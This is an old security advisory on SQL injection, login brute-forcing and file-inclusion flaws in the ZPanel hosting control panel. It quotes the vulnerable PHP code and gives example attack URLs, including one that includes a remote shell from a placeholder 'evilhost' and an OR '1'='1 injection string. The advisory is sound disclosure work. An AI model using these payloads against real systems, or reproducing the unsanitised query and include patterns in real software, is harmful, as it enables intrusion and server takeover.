[NEWS] ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing

From: SecuriTeam (support_at_securiteam.com)
Date: 03/22/05

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      ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.thezpanel.com/> ZPanel is a hosting control interface
    developed for both Windows and Linux hosts."

    Successful exploitation of an input validation vulnerability in ZPanel
    scripts allows attackers to execute SQL commands, include remote and local
    files. In addition due to poor coding a remote attacker can easily brute
    force the username / password combination used to protect the product.

    DETAILS

    Vulnerable Systems:
     * ZPanel version 2.0
     * ZPanel version 2.5b10

    SQL Injection:
    Non sanitized user input variables are fed directly into the SQL query.
    Making it possible to inject arbitrary SQL statements through the 'uname'
    variable which in turn can be used to bypass the authentication process.

    Password Brute Forcing:
    An invalid user name or password provided to a remote attacker returns an
    error that can be used to determine which of the provided parameter is
    wrong. As a result we can use a very simple brute force technique.

    Vulnerable script: index.php:
    if (isset($_POST['uname'])) {
    mysql_select_db($database_Customer_Database, $Customer_Database);
    $query_TempUser = sprintf("SELECT * FROM customerbase WHERE servicename =
    '".$_POST['uname']."'");

    Arbitrary File Inclusion:
    It is possible to include an arbitrary file, local in version 2.5b and
    remote in version 2.0:

    http://example/zpanel/zpanel.php?page=http://evilhost/shell
    Where http://evilhost/shell.php - evil PHP code script.

    http://localhost/zpanel/zpanel.php?page=billinginfo/index.php%00' OR
    '1'='1

    Vulnerable code script: zpanel.php ( v2.5b):
    if (isset($_GET['page']) && $_GET['page'] != 'main') {
             $query_Modules = sprintf("SELECT * FROM modules WHERE name =
    '".$_GET['page']."'");
             $Modules = mysql_query($query_Modules, $Customer_Database) or
    die(mysql_error());
             $row_Modules = mysql_fetch_assoc($Modules);
    [...]
                             if ($row_Modules['active'] == '1') {
                                     $body = "modules/" . $_GET['page'] .
    "/index.php";

    Or

    Vulnerable code script: zpanel.php ( v2.0):
    if (!isset($_GET['page'])){
             $body = "main.php";
    }else{
             $body = $_GET['page'] . ".php";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:misha@dom.no> Mik-.

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    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

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